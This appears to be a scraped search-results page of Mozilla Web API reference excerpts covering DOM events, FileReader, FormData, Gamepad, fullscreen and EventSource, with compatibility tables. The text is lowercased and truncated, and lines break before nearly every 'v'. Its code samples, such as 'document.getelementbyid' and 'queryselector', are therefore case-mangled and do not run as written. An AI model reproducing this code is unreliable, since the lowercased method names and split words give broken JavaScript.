the matches() method checks to see if the element would be selected by the pro
vided selectorstring -- in other words -- checks if the element "is" the selector.
... li
ving standard initial definition ...
Element: mousedown event - Web APIs
the mousedown event is fired at an element when a pointing de
vice button is pressed while the pointer is inside the element.
... html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, mo
ving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the canvas.
Element: mousemove event - Web APIs
the mousemove event is fired at an element when a pointing de
vice (usually a mouse) is moved while the cursor's hotspot is inside it.
... html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, mo
ving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the canvas.
Element: mouseup event - Web APIs
the mouseup event is fired at an element when a button on a pointing de
vice (such as a mouse or trackpad) is released while the pointer is located inside it.
... html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, mo
ving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the canvas.
Element.onfullscreenchange - Web APIs
function togglefullscreen() { let elem = document.queryselector("
video"); elem.onfullscreenchange = handlefullscreenchange; if (!document.fullscreenelement) { elem.requestfullscreen().then({}).catch(err => { alert(`error attempting to enable full-screen mode: ${err.message} (${err.name})`); }); } else { document.exitfullscreen(); } } function handlefullscreenchange(event) { let elem = event.target; let isfullscreen = document.fulls...
... li
ving standard initial definition.
Element.onfullscreenerror - Web APIs
since full-screen mode changes are only permitted in response to a user input, this causes an error to occur, which triggers the delivery of the fullscreenerror event to the error handler, let elem = document.queryselector("
video")}} elem.onfullscreenerror = function ( event ) { displaywarning("unable to switch into full-screen mode."); }; //....
... li
ving standard initial definition.
Element.querySelectorAll() - Web APIs
the :scope pseudo-class restores the expected beha
vior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status comment domthe definition of 'parentnode.queryselectorall()' in that specification.
... li
ving standard li
ving standard selectors api level 2the definition of 'parentnode.queryselectorall()' in that specification.
Element.runtimeStyle - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetruntimestyle non-standardchrome no support noedge no support nofirefox no support noie full support 6opera no support ...
... nosafari no support noweb
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportnon-standard.
Element.scrollLeftMax - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollleftmax non-standardchrome no support noedge no support nofirefox full support 16ie no support noopera no support...
... nosafari no support noweb
view android no support nochrome android no support nofirefox android full support 16opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportnon-standard.
Element.scrollTop - Web APIs
an element's scrolltop value is a measurement of the distance from the element's top to its topmost
visible content.
...if you can see this, scrolltop is maxed-out padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom specifications specification status comment css object model (cssom)
view modulethe definition of 'scrolltop' in that specification.
Element.setAttribute() - Web APIs
instead of remo
ving the attribute or setting its value to be null, it instead sets the attribute's value to the string "null".
... li
ving standard ...
Element.tabStop - Web APIs
the tabstop property of the element interface returns a boolean indicating if the element can receive input focus
via the tab key.
... if the specified element is a shadow host tab na
vigation is delegated to its children.
Element.toggleAttribute() - Web APIs
the toggleattribute() method of the element interface toggles a boolean attribute (remo
ving it if it is present and adding it if it is not present) on the given element.
... li
ving standard ...
Element: wheel event - Web APIs
the wheel event fires when the user rotates a wheel button on a pointing de
vice (typically a mouse).
... examples scaling an element
via the wheel this example shows how to scale an element using the mouse (or other pointing de
vice) wheel.
Comparison of Event Targets - Web APIs
tbyid('target').innerhtml = e.target; document.getelementbyid('relatedtarget').innerhtml = e.relatedtarget; } document.addeventlistener('click', handleclicks, false); document.addeventlistener('mouseover', handlemouseover, false); </script> </body> </html> use of target and relatedtarget the relatedtarget property for the mouseover event holds the node that the mouse was pre
viously over.
... event type event.target event.relatedtarget mouseover the eventtarget which the pointing de
vice entered the eventtarget which the pointing de
vice exited mouseout the eventtarget which the pointing de
vice exited the eventtarget which the pointing de
vice entered todo: also needs descriptions for dragenter and dragexit events.
Event() - Web APIs
eventinit optional this is an eventinit dictionary, ha
ving the following optional fields: bubbles optional a boolean indicating whether the event bubbles.
... li
ving standard initial definition ...
Event.cancelable - Web APIs
canceling the click, scroll, or beforeunload events would prevent the user from clicking on something, scrolling the page, or na
vigating away from the page, respectively.
... li
ving standard document object model (dom) level 2 events specificationthe definition of 'event.cancelable' in that specification.
Event.composed - Web APIs
examples in our composed-composed-path example (see it live), we define two tri
vial custom elements, <open-shadow> and <closed-shadow>, both of which take the contents of their text attribute and insert them into the element's shadow dom as the text content of a <p> element.
... li
ving standard ...
Event.composedPath() - Web APIs
examples in our composed-composed-path example (see it live), we define two tri
vial custom elements, <open-shadow> and <closed-shadow>, both of which take the contents of their text attribute and insert them into the element's shadow dom as the text content of a <p> element.
... li
ving standard ...
Event.isTrusted - Web APIs
the istrusted read-only property of the event interface is a boolean that is true when the event was generated by a user action, and false when the event was created or modified by a script or dispatched
via eventtarget.dispatchevent().
... li
ving standard document object model (dom) level 3 events specificationthe definition of 'trusted events' in that specification.
Event.preventDefault() - Web APIs
as noted below, calling preventdefault() for a non-cancelable event, such as one dispatched
via eventtarget.dispatchevent(), without specifying cancelable: true has no effect.
... li
ving standard document object model (dom) level 2 events specificationthe definition of 'event.preventdefault()' in that specification.
Event.target - Web APIs
make a list const ul = document.createelement('ul'); document.body.appendchild(ul); const li1 = document.createelement('li'); const li2 = document.createelement('li'); ul.appendchild(li1); ul.appendchild(li2); function hide(evt) { // e.target refers to the clicked <li> element // this is different than e.currenttarget, which would refer to the parent <ul> in this context evt.target.style.
visibility = 'hidden'; } // attach the listener to the list // it will fire when each <li> is clicked ul.addeventlistener('click', hide, false); specifications specification status comment domthe definition of 'event.target' in that specification.
... li
ving standard dom4the definition of 'event.target' in that specification.
EventListener - Web APIs
example html <button id="btn">click here!</button> javascript const buttonelement = document.getelementbyid('btn'); // add a handler for the 'click' event by pro
viding a callback function.
... li
ving standard no change.
EventSource.close() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'close()' in that specification.
... li
ving standard initial definition ...
EventSource: error event - Web APIs
urce.onerror examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('error', (e) => { console.log("an error occurred while attempting to connect."); }); // onerror version evtsource.onerror = (e) => { console.log("an error occurred while attempting to connect."); }; specifications specification status html li
ving standardthe definition of 'error event' in that specification.
... li
ving standard ...
EventSource: message event - Web APIs
var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }); onmessage equivalent evtsource.onmessage = (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }; specifications specification status html li
ving standardthe definition of 'message event' in that specification.
... li
ving standard ...
EventSource.onerror - Web APIs
specifications specification status comment html li
ving standardthe definition of 'onerror' in that specification.
... li
ving standard initial definition ...
EventSource.onmessage - Web APIs
specifications specification status comment html li
ving standardthe definition of 'onmessage' in that specification.
... li
ving standard initial definition ...
EventSource.onopen - Web APIs
specifications specification status comment html li
ving standardthe definition of 'onopen' in that specification.
... li
ving standard initial definition ...
EventSource: open event - Web APIs
ler property eventsource.onopen examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('open', (e) => { console.log("the connection has been established."); }); // onopen version evtsource.onopen = (e) => { console.log("the connection has been established."); }; specifications specification status html li
ving standardthe definition of 'open event' in that specification.
... li
ving standard ...
EventSource.readyState - Web APIs
specifications specification status comment html li
ving standardthe definition of 'readystate' in that specification.
... li
ving standard initial definition ...
EventSource.url - Web APIs
specifications specification status comment html li
ving standardthe definition of 'url' in that specification.
... li
ving standard initial definition ...
EventSource.withCredentials - Web APIs
specifications specification status comment html li
ving standardthe definition of 'withcredentials' in that specification.
... li
ving standard initial definition ...
ExtendableMessageEvent.data - Web APIs
examples when the following code is used inside a ser
vice worker to respond to a push messages by sending the data received
via pushmessagedata to the main context
via a channel message, the event object of onmessage will be a extendablemessageevent.
...ner('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.data); port = e.ports[0]; } specifications specification status comment ser
vice workersthe definition of 'extendablemessageevent.data' in that specification.
ExtendableMessageEvent.lastEventId - Web APIs
examples when the following code is used inside a ser
vice worker to respond to a push messages by sending the data received
via pushmessagedata to the main context
via a channel message, the event object of onmessage will be a extendablemessageevent.
...sh', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.lasteventid); port = e.ports[0]; } specifications specification status comment ser
vice workersthe definition of 'extendablemessageevent.lasteventid' in that specification.
ExtendableMessageEvent.origin - Web APIs
examples when the following code is used inside a ser
vice worker to respond to a push messages by sending the data received
via pushmessagedata to the main context
via a channel message, the event object of onmessage will be a extendablemessageevent.
...r('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.ports[0]; } specifications specification status comment ser
vice workersthe definition of 'extendablemessageevent.origin' in that specification.
ExtendableMessageEvent.ports - Web APIs
examples when the following code is used inside a ser
vice worker to respond to a push messages by sending the data received
via pushmessagedata to the main context
via a channel message, the event object of onmessage will be a extendablemessageevent.
...rt; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment ser
vice workersthe definition of 'extendablemessageevent.ports' in that specification.
FetchEvent.clientId - Web APIs
the clientid read-only property of the fetchevent interface returns the id of the client that the current ser
vice worker is controlling.
... example self.addeventlistener('fetch', function(event) { console.log(event.clientid); }); specifications specification status comment ser
vice workersthe definition of 'clientid' in that specification.
File.type - Web APIs
moreover, file.type is generally reliable only for common file types like images, html documents, audio and
video.
...developers are ad
vised not to rely on this property as a sole validation scheme.
File.webkitRelativePath - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitrelativepathchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support 13firefox full suppor...
...t 49ie no support noopera no support nosafari full support 11.1web
view android full support yeschrome android full support 18prefixed full support 18prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 49opera android no support nosafari ios full support 11.3samsung internet android full support ...
File - Web APIs
the file interface pro
vides information about files and allows javascript in a web page to access their content.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/blob" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">blob</text></a><polyline points="76,25 86,20 ...
FileReader: abort event - Web APIs
no interface progressevent event handler property filereader.onabort examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="pre
view" height="200" alt="image pre
view..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.pre
view { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-area...
...s: "select log" "pre
view log"; } .file-select { grid-area: select; } .pre
view { grid-area: pre
view; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const pre
view = document.queryselector('img.pre
view'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { pre
view.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
FileReader: load event - Web APIs
no interface progressevent event handler property filereader.onload examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="pre
view" height="200" alt="image pre
view..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.pre
view { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-area...
...s: "select log" "pre
view log"; } .file-select { grid-area: select; } .pre
view { grid-area: pre
view; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const pre
view = document.queryselector('img.pre
view'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { pre
view.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
FileReader: loadend event - Web APIs
no interface progressevent event handler property filereader.onloadend examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="pre
view" height="200" alt="image pre
view..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.pre
view { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-area...
...s: "select log" "pre
view log"; } .file-select { grid-area: select; } .pre
view { grid-area: pre
view; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const pre
view = document.queryselector('img.pre
view'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { pre
view.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
FileReader: loadstart event - Web APIs
interface progressevent event handler property filereader.onloadstart examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="pre
view" height="200" alt="image pre
view..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.pre
view { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-area...
...s: "select log" "pre
view log"; } .file-select { grid-area: select; } .pre
view { grid-area: pre
view; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const pre
view = document.queryselector('img.pre
view'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { pre
view.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
FileReader: progress event - Web APIs
o interface progressevent event handler property filereader.onprogress examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="pre
view" height="200" alt="image pre
view..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.pre
view { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-area...
...s: "select log" "pre
view log"; } .file-select { grid-area: select; } .pre
view { grid-area: pre
view; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const pre
view = document.queryselector('img.pre
view'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { pre
view.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
FileReaderSync.readAsArrayBuffer() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadasarraybufferchrome full support yesedge full support 12firefox full support 8ie full support yesopera full support...
... yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
FileReaderSync.readAsBinaryString() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadasbinarystringchrome full support yesedge full support 12firefox full support 8ie full support yesopera full suppor...
...t yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
FileReaderSync.readAsDataURL() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadasdataurlchrome full support yesedge full support 12firefox full support 8ie full support yesopera full support ...
... yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
FileReaderSync.readAsText() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadastextchrome full support yesedge full support 12firefox full support 8ie full support yesopera full support ...
... yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
FileRequest - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... summary the filerequest interface extends the domrequest interface to pro
vide some extra properties necessary for the lockedfile objects.
FileSystem.name - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 7edge full support ≤18firefox full support 50ie no support noopera full support ...
... 15safari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android full support 14safari ios full support 11.3samsung internet android full support 1.0legend full support full support no support no support ...
FileSystem.root - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrootchrome full support 7edge full support ≤18firefox full support 50ie no support noopera full support ...
... 15safari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android full support 14safari ios full support 11.3samsung internet android full support 1.0legend full support full support no support no support ...
FocusEvent.relatedTarget - Web APIs
the focusevent.relatedtarget read-only property is the secondary target, depending on the type of event: event name target relatedtarget blur the eventtarget losing focus the eventtarget recei
ving focus (if any).
... focus the eventtarget recei
ving focus the eventtarget losing focus (if any) focusin the eventtarget recei
ving focus the eventtarget losing focus (if any) focusout the eventtarget losing focus the eventtarget recei
ving focus (if any) note that many elements can't have focus, which is a common reason for relatedtarget to be null.
FormData - Web APIs
the formdata interface pro
vides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest.send() method.
... li
ving standard formdata defined in xhr spec ...
FormDataEvent() - Web APIs
examples let fd = new formdata(); fd.append('test', 'test'); let fdev = new formdataevent('formdata', { formdata: fd }); for (let value of fdev.formdata.values()) { console.log(value); } specifications specification status comment html li
ving standardthe definition of 'formdataevent' in that specification.
... li
ving standard initial definition ...
FormDataEvent.formData - Web APIs
ault e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data
via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html li
ving standardthe definition of 'formdata' in that specification.
... li
ving standard ...
FullscreenOptions - Web APIs
the fullscreenoptions dictionary is used to pro
vide configuration options when calling requestfullscreen() on an element to place that element into full-screen mode.
... properties na
vigationuioptional a string controlling whether or not to keep browser user interface elements
visible while the element is in full-screen mode.
GainNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgainnode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox ...
... web
view android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ...
Gamepad.axes - Web APIs
the gamepad.axes property of the gamepad interface returns an array representing the controls with axes present on the de
vice (e.g.
... syntax readonly attribute double[] axes; example function gameloop() { if(na
vigator.webkitgetgamepads) { var gp = na
vigator.webkitgetgamepads()[0]; } else { var gp = na
vigator.getgamepads()[0]; } if(gp.axes[0] != 0) { b -= gp.axes[0]; } else if(gp.axes[1] != 0) { a += gp.axes[1]; } else if(gp.axes[2] != 0) { b += gp.axes[2]; } else if(gp.axes[3] != 0) { a -= gp.axes[3]; } ball.style.left = a*2 + "px"; ball.style.top = b*2 + "px"; var start = raf(gameloop); }; value an array of double values.
Gamepad.index - Web APIs
the gamepad.index property of the gamepad interface returns an integer that is auto-incremented to be unique for each de
vice currently connected to the system.
... syntax readonly attribute long index; example window.addeventlistener("gamepadconnected", function() { var gp = na
vigator.getgamepads()[0]; gamepadinfo.innerhtml = "gamepad connected at index " + gp.index + ": " + gp.id + "."; }); value a number.
Gamepad.timestamp - Web APIs
the value must be relative to the na
vigationstart attribute of the performancetiming interface.
... syntax readonly attribute domhighrestimestamp timestamp; example var gp = na
vigator.getgamepads()[0]; console.log(gp.timestamp); value a domhighrestimestamp.
Gamepad API - Web APIs
experimental gamepad extensions gamepadhapticactuator represents hardware in the controller designed to pro
vide haptic feedback to the user (if available), most commonly
vibration hardware.
... extensions to other interfaces na
vigator na
vigator.getgamepads() an extension to the na
vigator object that returns an array of gamepad objects, one for each connected gamepad.
GeolocationCoordinates.speed - Web APIs
the geolocationcoordinates.speed read-only property is a double representing the velocity of the de
vice in meters per second.
... syntax let speed = geolocationcoordinatesinstance.speed value a double representing the velocity of the de
vice in meters per second.
GeolocationPosition - Web APIs
the geolocationposition interface represents the position of the concerned de
vice at a given time.
... the position, represented by a geolocationcoordinates object, comprehends the 2d position of the de
vice, on a spheroid representing the earth, but also its altitude and its speed.
GeometryUtils - Web APIs
the geometryutils interface pro
vides different utility function to retrieve geometry information about dom nodes.
... geometryutils.convertquadfromnode() fixme: needs a description geometryutils.convertrectfromnode() fixme: needs a description geometryutils.convertpointfromnode() fixme: needs a description specifications specification status comment css object model (cssom)
view modulethe definition of 'geometryutils' in that specification.
GlobalEventHandlers.onchange - Web APIs
click outside of the field." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.onchange = handlechange; function handlechange(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specification specification status comment html li
ving standardthe definition of 'onchange' in that specification.
... li
ving standard ...
GlobalEventHandlers.onclick - Web APIs
html <p>click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.onclick = inputchange; function inputchange(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specification specification status comment html li
ving standardthe definition of 'onclick' in that specification.
... li
ving standard ...
GlobalEventHandlers.ondblclick - Web APIs
html <p>double click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.ondblclick = logdoubleclick; function logdoubleclick(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specifications specification status comment html li
ving standardthe definition of 'ondblclick' in that specification.
... li
ving standard ...
GlobalEventHandlers.onformdata - Web APIs
ion, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data
via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html li
ving standardthe definition of 'onformdata' in that specification.
... li
ving standard ...
GlobalEventHandlers.oninput - Web APIs
ng here to see its length." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specifications specification status comment html li
ving standardthe definition of 'oninput' in that specification.
... li
ving standard initial definition ...
GlobalEventHandlers.oninvalid - Web APIs
entbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.preventdefault(); } result specification specification status comment html li
ving standardthe definition of 'oninvalid' in that specification.
... li
ving standard ...
GlobalEventHandlers.onkeydown - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeydown = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html li
ving standardthe definition of 'onkeydown' in that specification.
... li
ving standard ...
GlobalEventHandlers.onload - Web APIs
specifications specification status comment html li
ving standardthe definition of 'onload' in that specification.
... li
ving standard initial definition ...
GlobalEventHandlers.onloadstart - Web APIs
/ 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment html li
ving standardthe definition of 'onloadstart' in that specification.
... li
ving standard initial definition ...
GlobalEventHandlers.onmouseup - Web APIs
(-50%, -50%); } javascript function depress() { toast.classlist.add('depressed'); } function release() { toast.classlist.remove('depressed'); } const toaster = document.queryselector('.toaster'); const toast = document.queryselector('.toast'); toaster.onmousedown = depress; document.onmouseup = release; result specification specification status comment html li
ving standardthe definition of 'onmouseup' in that specification.
... li
ving standard ...
GlobalEventHandlers.onreset - Web APIs
time stamp: ${event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.onreset = logreset; result specification specification status comment html li
ving standardthe definition of 'onreset' in that specification.
... li
ving standard ...
GlobalEventHandlers.onresize - Web APIs
eight"></span></p> <p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function resize() { heightoutput.textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = resize; specification specification status comment html li
ving standardthe definition of 'onresize' in that specification.
... li
ving standard ...
GlobalEventHandlers.onselect - Web APIs
logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html li
ving standardthe definition of 'onselect' in that specification.
... li
ving standard ...
GlobalEventHandlers.onsubmit - Web APIs
ntbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.preventdefault(); } result specifications specification status comment html li
ving standardthe definition of 'onsubmit' in that specification.
... li
ving standard ...
HTMLAnchorElement.download - Web APIs
syntax var dnload = anchorelt.download; anchorelt.download = dnload; specifications specification status comment html li
ving standardthe definition of 'download' in that specification.
... li
ving standard initial definition.
HTMLAnchorElement.referrerPolicy - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 51edge full support 79firefox full support 50ie no support noopera full support ...
... 38safari full support 11.1web
view android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios no support nosamsung internet android full support 7.2legend full support full support no support no support ...
HTMLAnchorElement.rel - Web APIs
syntax var relstr = anchorelt.rel; anchorelt.rel = relstr; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { alert("rel: " + anchors[i].rel); } specifications specification status comment html li
ving standardthe definition of 'rel' in that specification.
... li
